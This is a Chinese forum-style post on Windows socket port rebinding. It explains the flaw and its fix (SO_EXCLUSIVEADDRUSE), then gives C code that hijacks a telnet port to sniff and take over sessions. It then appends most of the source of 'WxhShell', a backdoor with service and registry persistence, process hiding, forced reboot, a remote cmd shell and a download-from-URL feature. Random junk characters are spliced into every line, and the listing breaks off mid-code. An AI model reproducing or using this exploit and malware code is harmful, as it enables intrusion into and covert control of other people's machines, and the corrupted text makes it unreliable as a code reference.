在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
j]'ybpMT" s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
8iUYZF yn|U<Hxl~H saddr.sin_family = AF_INET;
@M!nAQ8hY @&f~#Xe saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ukc<yc].+? Jxsch\ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
|Ng}ZLBM 89P'WFOFK 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
kzmw1*J ,b9!\OWDF 这意味着什么?意味着可以进行如下的攻击:
EI8KK o * L XHDX 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
h@jk3J9^ j^m x , 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
N?v}\ PU )7 M 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
tQ,3nI!|xF FJ] ?45 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
,pIaYU{D u[6aSqwC| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
*?YMoN 1eOQ;#OV 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
)-^[;:B\k" >)bn #5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
-+fW/Uo k{J\)z #include
pcNpr`
#include
>l^[73,]L #include
&0RKNpwg #include
.f9&.H# DWORD WINAPI ClientThread(LPVOID lpParam);
j5!pS xOC int main()
=y0h\<[ {
M.``o1b WORD wVersionRequested;
K$c?:?wmo DWORD ret;
,:xses*7 WSADATA wsaData;
,SH^L|I BOOL val;
p9[gG\ SOCKADDR_IN saddr;
!@[@&. SOCKADDR_IN scaddr;
e'2w-^7 int err;
_Lgi5B% SOCKET s;
( "wmc"qH SOCKET sc;
e4<St`K int caddsize;
+2,EK
HANDLE mt;
j>A=Wa7 DWORD tid;
@me ( pnD wVersionRequested = MAKEWORD( 2, 2 );
B8>3GZi err = WSAStartup( wVersionRequested, &wsaData );
jE!?;} P1 if ( err != 0 ) {
BHpj_LB-P printf("error!WSAStartup failed!\n");
r#B{j$Rw
return -1;
juEH$7N! }
lyw)4;wt\ saddr.sin_family = AF_INET;
gg@Ew4L& I[KAW" //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
r#(*x 2~, 4[rX\?^e saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
M3s:B& / saddr.sin_port = htons(23);
,U.|+i{ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<~
?LU^ {
4F,RlKHBl printf("error!socket failed!\n");
c/}-pZn< return -1;
nU/x,W[} }
|?\2F val = TRUE;
H8h,JBg5<F //SO_REUSEADDR选项就是可以实现端口重绑定的
grE'ySX0 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Ygc.0VKMR {
(r/))I9^ printf("error!setsockopt failed!\n");
Q1RUmIe_& return -1;
KouIzWf. }
;!B>b)% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
2#@-t{\3-p //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
!RwMUnp //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
3bagL)'iz $d
Nmq if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
}b+$S'`Bv {
ggUw4w/e ret=GetLastError();
:.crES7<[X printf("error!bind failed!\n");
dG)}H_ return -1;
H,;9' *84 }
b
q8nV listen(s,2);
,"Nb;Yhg while(1)
& sgzSX {
QJ,~K&? caddsize = sizeof(scaddr);
U]"6KS
//接受连接请求
RY]jY | E sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
qU^`fIa if(sc!=INVALID_SOCKET)
' pfkbmJ {
Q#pgl mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
}@vf=jm> if(mt==NULL)
IYe ,VL {
scyv]5Hm! printf("Thread Creat Failed!\n");
!_?#f| break;
u(~( +1W }
!BR@"%hx }
&"=<w CloseHandle(mt);
T1uOp5_]B }
LT:8/&\ closesocket(s);
})C}'!+] WSACleanup();
=~'y' K] return 0;
<AB({( }
5
~Y a Xh^ DWORD WINAPI ClientThread(LPVOID lpParam)
HjT -5>I7f {
iz2;xa* SOCKET ss = (SOCKET)lpParam;
sM@1Qyv&0 SOCKET sc;
c. uD% unsigned char buf[4096];
xd!GRJ<I SOCKADDR_IN saddr;
" (yw(/ long num;
p5#UH DWORD val;
u XVs<im DWORD ret;
v dPb-z4 //如果是隐藏端口应用的话,可以在此处加一些判断
s}?QA cC //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
R2y~+tko? saddr.sin_family = AF_INET;
s\.\z[1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
.`^wRpa2M saddr.sin_port = htons(23);
i*e'eZ;) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Dj{=Y`Tw {
'e8O
\FOf printf("error!socket failed!\n");
u(g9-O return -1;
EO"G(v }
(#rhD} val = 100;
U?j[
8z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>uwd3XW5 {
4)d"}j ret = GetLastError();
+krDmU9( return -1;
v|:TYpku3 }
nw=:+? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`FmRoMW9+ {
T_oL/x_; ret = GetLastError();
:)kWQQ+, return -1;
x*wr8$@J }
-fD W>]_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
?'^yw C` {
U\6Ee-1#_ printf("error!socket connect failed!\n");
uwu`ms7z 2 closesocket(sc);
!$#8Z".{v{ closesocket(ss);
P.kf|,8L return -1;
`FAZAC\ }
&W
N
R{ while(1)
iM~qSRb#mJ {
`Lr|KuFN //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
@O
HsM?nW //如果是嗅探内容的话,可以再此处进行内容分析和记录
}M &hcw< //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
1
Lz num = recv(ss,buf,4096,0);
Y"E*#1/ if(num>0)
$Fv|w9 send(sc,buf,num,0);
2 P9{?Y else if(num==0)
a
t%qowt break;
}kMKA.O" num = recv(sc,buf,4096,0);
c4M]q4]F if(num>0)
kjj?X|Un send(ss,buf,num,0);
<'vtnz else if(num==0)
W=2#Q2) break;
<4%PT2R }
goc"+K closesocket(ss);
Q`BB@E closesocket(sc);
cL:hjr" return 0 ;
R?}<CjI }
S{zl<>+ -{Fy@$! #z9@x}p5g ==========================================================
TlJ'pG 4^ +kT
o$_Wkz 下边附上一个代码,,WXhSHELL
Y|aaZ|+ |],ocAN{ ==========================================================
jiP^Hz"e
eI+p #include "stdafx.h"
#w;%{C[D fU'[lZ #include <stdio.h>
xi=Qxgx0I #include <string.h>
Env_??xq #include <windows.h>
i 8:^1rHp) #include <winsock2.h>
@<B$LJ|jdG #include <winsvc.h>
&\<?7Qj3U| #include <urlmon.h>
jWh}cM= "\"sM{x #pragma comment (lib, "Ws2_32.lib")
I1!m;5-c9k #pragma comment (lib, "urlmon.lib")
.%_=(C<E rG{,8* #define MAX_USER 100 // 最大客户端连接数
pR3K~bx^ #define BUF_SOCK 200 // sock buffer
[+b&)jN*2 #define KEY_BUFF 255 // 输入 buffer
%^bN^Sq
- DaqpveKa #define REBOOT 0 // 重启
F,JqHa9 #define SHUTDOWN 1 // 关机
t8t+wi! o*xft6U #define DEF_PORT 5000 // 监听端口
-\M;bQV[C idNg&' #define REG_LEN 16 // 注册表键长度
Fy^MI*}BZ #define SVC_LEN 80 // NT服务名长度
YBQ{/"v%| {r1}ACw{ // 从dll定义API
UKf0cU typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
?xtP\~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
xU'% 6/G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
V)cL=4G typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Mgg m~|9) ^qV6khg // wxhshell配置信息
S3?U-R^` struct WSCFG {
9/6=[) int ws_port; // 监听端口
I=&Kn@^ char ws_passstr[REG_LEN]; // 口令
9l}G{u9a int ws_autoins; // 安装标记, 1=yes 0=no
nrCr9# char ws_regname[REG_LEN]; // 注册表键名
YbuS[l8 char ws_svcname[REG_LEN]; // 服务名
F^X:5g~K
char ws_svcdisp[SVC_LEN]; // 服务显示名
{GS$7n char ws_svcdesc[SVC_LEN]; // 服务描述信息
P]`m5 N char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+D|E8sz8 int ws_downexe; // 下载执行标记, 1=yes 0=no
-h{| u{t char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
>:f&@vwm char ws_filenam[SVC_LEN]; // 下载后保存的文件名
jU=n\o=? aaFt=7(K };
$Zf]1?|xa @fI2ZWN| // default Wxhshell configuration
QP!0I01 struct WSCFG wscfg={DEF_PORT,
>npFg@A "xuhuanlingzhe",
'))=y@M 1,
Pa
*/&WeB "Wxhshell",
~A-D>.ZH "Wxhshell",
fnn/akGKI "WxhShell Service",
xoN?[ "Wrsky Windows CmdShell Service",
\Wf1b8FW "Please Input Your Password: ",
![{0Yw
D 1,
6>F]Z)]} "
http://www.wrsky.com/wxhshell.exe",
EGK7)O'W "Wxhshell.exe"
zC_@wMWB };
"j?\Ze* 'SnB7Y // 消息定义模块
JI|MR#_u char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
swG!O}29OX char *msg_ws_prompt="\n\r? for help\n\r#>";
2q%vd=T char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
MLt'tzgl char *msg_ws_ext="\n\rExit.";
n{xL1A=9 char *msg_ws_end="\n\rQuit.";
;7N~d TBQ char *msg_ws_boot="\n\rReboot...";
S3> <zGYk char *msg_ws_poff="\n\rShutdown...";
@JpkG%eK char *msg_ws_down="\n\rSave to ";
!s(s^ \Culf'iX char *msg_ws_err="\n\rErr!";
,2lH*=m; char *msg_ws_ok="\n\rOK!";
aYcc2N%C &``nYI g/ char ExeFile[MAX_PATH];
T#-U\C~o int nUser = 0;
@;h$!w< HANDLE handles[MAX_USER];
fb D int OsIsNt;
f"0?_cG{% OQh4MN#$ SERVICE_STATUS serviceStatus;
XJZS}Z7h SERVICE_STATUS_HANDLE hServiceStatusHandle;
z9HUI5ns v?`DP // 函数声明
xc_-1u4a9 int Install(void);
TV*@h2C"i int Uninstall(void);
E{}Vi>@V? int DownloadFile(char *sURL, SOCKET wsh);
03a<Cd/S int Boot(int flag);
z*G(AcS) void HideProc(void);
2t`d.s= int GetOsVer(void);
#lO~n.+P int Wxhshell(SOCKET wsl);
z;6,, void TalkWithClient(void *cs);
~?uch8H int CmdShell(SOCKET sock);
qt4^e7o int StartFromService(void);
0M|Jvw'n| int StartWxhshell(LPSTR lpCmdLine);
!r`/vQ# R]"3^k* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
g\=e86 VOID WINAPI NTServiceHandler( DWORD fdwControl );
PR~9*#"v.. s)j3+@:# // 数据结构和表定义
n_@cjO SERVICE_TABLE_ENTRY DispatchTable[] =
pEX|zee {
{qL}:ha? {wscfg.ws_svcname, NTServiceMain},
b0
y*} {NULL, NULL}
::2(pgH };
\wxLt}T-Q -9^A,vX // 自我安装
@]X5g8h int Install(void)
$gysy!2}. {
H:.l:PJ char svExeFile[MAX_PATH];
MNd[Xzm HKEY key;
`nEe-w^9)I strcpy(svExeFile,ExeFile);
w~}.c:B ?qR11A};tG // 如果是win9x系统,修改注册表设为自启动
'uU{.bq if(!OsIsNt) {
4-Cca if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`rZS\A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
IHvrx:7 RegCloseKey(key);
?$Ii_. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
fm&pxQjg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-VkPy<) RegCloseKey(key);
ioJr2wq6 return 0;
W;!)Sj4<T! }
T9&bY>f? }
<}bF49z }
d{:0R9 else {
a F%V 7V-'><)gI // 如果是NT以上系统,安装为系统服务
!7jVKI80 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
R/?ZbMn]! if (schSCManager!=0)
d0D*S?#8,C {
22r$Ri_> SC_HANDLE schService = CreateService
J~k'b2(p3 (
_ 68{
{. schSCManager,
>j_N6B! wscfg.ws_svcname,
52#Ac;Y wscfg.ws_svcdisp,
L}\~) SERVICE_ALL_ACCESS,
jC_m0Iwc SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
c@/K} SERVICE_AUTO_START,
^{l$>e] SERVICE_ERROR_NORMAL,
3jDAj!_ea svExeFile,
y]b&3& NULL,
Qs7*_=+h NULL,
x5%x""VEK NULL,
G'f5MP1 NULL,
C}Ucyzfr,p NULL
^@OdY&5^ );
J `
KyS if (schService!=0)
^Rc*X'Iz(! {
JpC_au7CX CloseServiceHandle(schService);
C5x*t Q| CloseServiceHandle(schSCManager);
7j8Ou3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
-8m3L strcat(svExeFile,wscfg.ws_svcname);
9q_c` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
C9L_`[9DO RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
D'<'"kUd RegCloseKey(key);
bW^JR, return 0;
6gTc)rhRT }
OS sYmF }
DZqY=Sze
CloseServiceHandle(schSCManager);
vfloha p }
pgEDh^[MW }
NGVl/Qd VQl(5\6O return 1;
,'&H`h54 }
-)Of\4kx #VynADPs`o // 自我卸载
/nB|Fo_&Q int Uninstall(void)
_BHEK {
'e:(61_ HKEY key;
LZ<^b6Dxk ]oxi~TwY^ if(!OsIsNt) {
0Ait7` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
M*2
Nq=3 RegDeleteValue(key,wscfg.ws_regname);
(Fs{~4T RegCloseKey(key);
J+r:7NvZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%3@-.= RegDeleteValue(key,wscfg.ws_regname);
tZan1C%p> RegCloseKey(key);
<BjrW]pM return 0;
][`% vj9r }
E_T!|Q. }
RJ OW#e : }
p,7,
tx else {
\@m^w"Ij :s>x~t8g#n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
C@{-$z) if (schSCManager!=0)
IQeiT[TF {
y7|
3]>Z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
HMmB90P` if (schService!=0)
iB#*XJ;q {
lb\VQZp!y if(DeleteService(schService)!=0) {
4Be\5Byr CloseServiceHandle(schService);
MIdViS.g CloseServiceHandle(schSCManager);
~}RfepM return 0;
y-N]{! }
~DP_1V? CloseServiceHandle(schService);
ZY=a[K }
tr|)+~x3 CloseServiceHandle(schSCManager);
_)[UartKx }
ZaF9Q% }
Mh~E]8b odW K\e return 1;
P7\?WN$p }
.FC|~Z1T<F \IZY\WU}2 // 从指定url下载文件
IR|#]en int DownloadFile(char *sURL, SOCKET wsh)
vKBijmE {
3<HZ)w^B HRESULT hr;
n50WHlMtt char seps[]= "/";
:B:6ezDF6 char *token;
SM\qd4 char *file;
i>e?$H,/ char myURL[MAX_PATH];
%S/?Ci char myFILE[MAX_PATH];
EO%"[k Z}S7%m strcpy(myURL,sURL);
J?C:@Q token=strtok(myURL,seps);
u=t.1eS5 while(token!=NULL)
_$i)bJ {
&yG5w4< file=token;
^09-SUl^ token=strtok(NULL,seps);
Q2[;H!" }
yt<h!k$ _P +`tk LvM GetCurrentDirectory(MAX_PATH,myFILE);
Q)im2o@z strcat(myFILE, "\\");
|enb5b78 strcat(myFILE, file);
zPN:) send(wsh,myFILE,strlen(myFILE),0);
iFnD`l6) send(wsh,"...",3,0);
BhhFij4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
xZA.<Yd^r if(hr==S_OK)
1Eb2X}XC return 0;
b8E7/~<z3 else
Ll.P>LH return 1;
J";4+wA7 < n/ 2 }
}$i/4?dYsQ
9}5o> iR // 系统电源模块
VS >xvF int Boot(int flag)
et?FX K"y {
wf`A&P5tF HANDLE hToken;
d,toU I TOKEN_PRIVILEGES tkp;
HoK+g_9~ /36gf if(OsIsNt) {
aa"3
Io OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
A9;,y'm^8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$O%"[w tkp.PrivilegeCount = 1;
sou~m,# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Jj?HOtaM AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
O]'2<; if(flag==REBOOT) {
RL3*fRlb if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
%SuELm return 0;
xpc{#/Nk }
yD#(Iw else {
Cz
&3=),G if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
:$0yp`k return 0;
-V-I&sO< }
zwz_K!229 }
Ec@cW6g(% else {
&gKDw!al if(flag==REBOOT) {
qw1W}+~g if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
#k?. dWZ! return 0;
\&b 9 }
p=odyf1hK else {
o(4gh1b% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
/l_u $" return 0;
-K3d u&j }
7hTpjox2 }
?Yzw]ag. d::9,~ return 1;
k||dX(gl }
&>&6OV]P' [!4xInS // win9x进程隐藏模块
*V 4%&&{ void HideProc(void)
Tdm|=xI
{
8i5S
} {xeJO:M3/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
wl&T9O;? if ( hKernel != NULL )
Qj|rNeM_ {
zw+RDo pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
M\-[C!h, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
b3F KDm[ FreeLibrary(hKernel);
R:$E'PSx }
C+g}+ ~(8f Uob return;
>lKu[nq; }
d%. |MAE E- [Eg // 获取操作系统版本
V:>r6 int GetOsVer(void)
0N~kq-6.\ {
X</Sl>[8 OSVERSIONINFO winfo;
ul#y'iY] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
+80bG(I_ GetVersionEx(&winfo);
P;o{t if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
JsNj!aeU% return 1;
*5.wwV else
1y\bJ return 0;
3&CV!+z }
:;eQ*{ `\ :P/VBX h // 客户端句柄模块
:9av]Yv& int Wxhshell(SOCKET wsl)
cc3B}^@p= {
^2);*X> SOCKET wsh;
>KL=(3:":p struct sockaddr_in client;
Hqs!L`oW) DWORD myID;
9cHo~F|ur ~^jPE) while(nUser<MAX_USER)
K1^7v}P {
w^Yo)"6 int nSize=sizeof(client);
}X?#"JFX? wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
{kw%7}! if(wsh==INVALID_SOCKET) return 1;
~\<$H' _cE_\Ay handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
KE ?NQMU if(handles[nUser]==0)
G%FZTA6a closesocket(wsh);
!#:5^":; else
`g3AM%3 nUser++;
#-@Uq6Y }
<D3mt Q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\8=)X} ) `FQ]ad Fz return 0;
>~nr,V.q }
5a'`%b{{ NLK1IH# // 关闭 socket
T[)!7@4r void CloseIt(SOCKET wsh)
5!fOc]]Ow {
|Q%P4S"B? closesocket(wsh);
9I]Bt=2z nUser--;
c8YbBdk' ExitThread(0);
qFwt^w }
icIn>i<m +Wg/O
- // 客户端请求句柄
M:GpyE% void TalkWithClient(void *cs)
NXFi* {
%~PcJhz '/NpmNY:L SOCKET wsh=(SOCKET)cs;
Y|><Ls6Q char pwd[SVC_LEN];
hPSMPbI char cmd[KEY_BUFF];
`_)H aF>/ char chr[1];
vQyY
% int i,j;
^!\AT!OT JPAjOcmU/ while (nUser < MAX_USER) {
g i6s+2 L7;~4_M9.V if(wscfg.ws_passstr) {
l=p_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4NW!{Vw , //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
KD,3U/3 //ZeroMemory(pwd,KEY_BUFF);
h{iuk3G`h6 i=0;
P O 5Wi while(i<SVC_LEN) {
a`n)aXU l OcO/wA(&{ // 设置超时
~qj(&[U{c\ fd_set FdRead;
,c|MB struct timeval TimeOut;
't}\U&L.{ FD_ZERO(&FdRead);
.FHk1~\%z^ FD_SET(wsh,&FdRead);
_wK.n.,S~ TimeOut.tv_sec=8;
On}1&!{1] TimeOut.tv_usec=0;
/uX*FZ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
D$K'Qk if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
/nQuM05*Z 6" * <0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
OQ hQ!6 pwd
=chr[0]; T2S_>
#."l
if(chr[0]==0xd || chr[0]==0xa) { I2WP/
pwd=0; cJaA*sg
break; k:Y\i]#yP
} O^`EuaL
i++; U%s@np
} ];hqI O#nM
TLVsTM8P
// 如果是非法用户,关闭 socket (O4oIU
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '*mZ/O-
} qWheoyAB
k\.9iI'6
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t_jn-Idcf
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uAeo&|&
u6Gqg(7hw
while(1) { FHQ`T\fC$@
Au'y(KB
ZeroMemory(cmd,KEY_BUFF); ,{HQKHg
k3qQU)
// 自动支持客户端 telnet标准 vvv'!\'#
j=0; v,ZYh w
while(j<KEY_BUFF) { N'VTdf?
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?-<lIFFh
cmd[j]=chr[0]; m%`YAD@2z
if(chr[0]==0xa || chr[0]==0xd) { jeWv~JA%L|
cmd[j]=0; f(w>(1&/B
break; rZ `1G
} ih".y3
j++; ;,[0 bmL
} v#qd q!64
7-K8u
// 下载文件 ]}!@'+=
if(strstr(cmd,"http://")) { iVn4eLK^v
send(wsh,msg_ws_down,strlen(msg_ws_down),0); JkJ
@bh
Eu
if(DownloadFile(cmd,wsh)) `^SRg_rH=`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |T""v_q
else 'JMW.;Lh?X
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *^|\#UIk
} ?d-w#<AiV
else { BA:x*(%~
ESRj<p%W
switch(cmd[0]) { &~P4yI;,
1OMXg=Y
// 帮助 Gy/w #4xj
case '?': { "a)6g0gw
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); " _2k3
break; y<Q"]H.CkQ
} uVn"L:_
// 安装 Ahwi
case 'i': { Dhn7N8(LF!
if(Install()) nUP, Yd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d=xjLbsZ
else _J!^iJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h5'hP>b#
break; ^1.*NG8
} m}wn+R
// 卸载 T06(Q[)
case 'r': { Q
84t=
if(Uninstall()) (p%|F`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pz
/[${X
else 7?=^0?a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tRdf:F\X
break; 6h>#;M
} tdH[e0x B
// 显示 wxhshell 所在路径 }CBQdH&g;
case 'p': { ?z9!=A%<V~
char svExeFile[MAX_PATH]; Pz2 b
strcpy(svExeFile,"\n\r"); wu.l-VmGp)
strcat(svExeFile,ExeFile); [j0[c9.p[
send(wsh,svExeFile,strlen(svExeFile),0); +=8wZ]
break; T ?[28|
} 1 jidBzu<
// 重启 BI`)P+K2
case 'b': { C>+n>bH]L
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,~d0R4)
if(Boot(REBOOT)) N@c GjpQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +-<G(^
else { d. vNiq,`
closesocket(wsh); e3;&
ExitThread(0); %v8&
} }#ZRi}f2VJ
break; (I}owr 5:
} $os]$5(
// 关机 ;Sivu-%
case 'd': { %1Q:{m
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0A)0Zw
if(Boot(SHUTDOWN)) Z0L($
send(wsh,msg_ws_err,strlen(msg_ws_err),0); AabQ)23R2
else { =PRQ3/?5
closesocket(wsh); ,-AF8BP
ExitThread(0); Czjb.c:a.Y
} s=n4'`y1
break; ^w^e~0
S
} <!sLfz?
// 获取shell @Ul3J )=m
case 's': { -O *_+8f
CmdShell(wsh); 6j|Ncv
closesocket(wsh); 05LkLB
ExitThread(0); 72sqt5C]
break; 2o?j{K
} U80=f2
// 退出 2&4nf/sE
case 'x': { 1VgGF^cYR
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WEj{2+
CloseIt(wsh); J 4gtm"2)
break; xQFY/Z
} { ^dq7!
// 离开 U4!KO;Jc
case 'q': { xfb .Z(
send(wsh,msg_ws_end,strlen(msg_ws_end),0); >.Gmu
closesocket(wsh); uBRlvNJ
WSACleanup(); _c>ww<*3
exit(1); +LRKS
break; be8T<F
} 0/su`
} yI:
;+K
} ' 4FH9J
sGu.G
// 提示信息 xT+_JT65
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iM<$
n2t
} KHAc!4lA
} ~!Nj DDk
fmuh9Z
return; Q-oDmjU
} '.bf88D
TTVmm{6
// shell模块句柄 ,&UKsrs_
int CmdShell(SOCKET sock) a dqS.xs
{ ,->K)Rs ;
STARTUPINFO si; So&gDR;b
ZeroMemory(&si,sizeof(si)); /"Vd( K2Z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r%=-maPL[
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B"_O!
PROCESS_INFORMATION ProcessInfo; 2GptK"MrD
char cmdline[]="cmd"; V;%ug'j
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _;k<=ns(=
return 0; ,H{9`a#+:
} 'SFAJ
,'s}g,L
// 自身启动模式 ?62Im^1/
int StartFromService(void) %nZ:)J>kz
{ 9`*ST(0/
typedef struct `D77CC]vU
{ j,j|'7J%
DWORD ExitStatus; "TA0--6
DWORD PebBaseAddress; LaQ7A,]
DWORD AffinityMask; qzZ/%{Ak
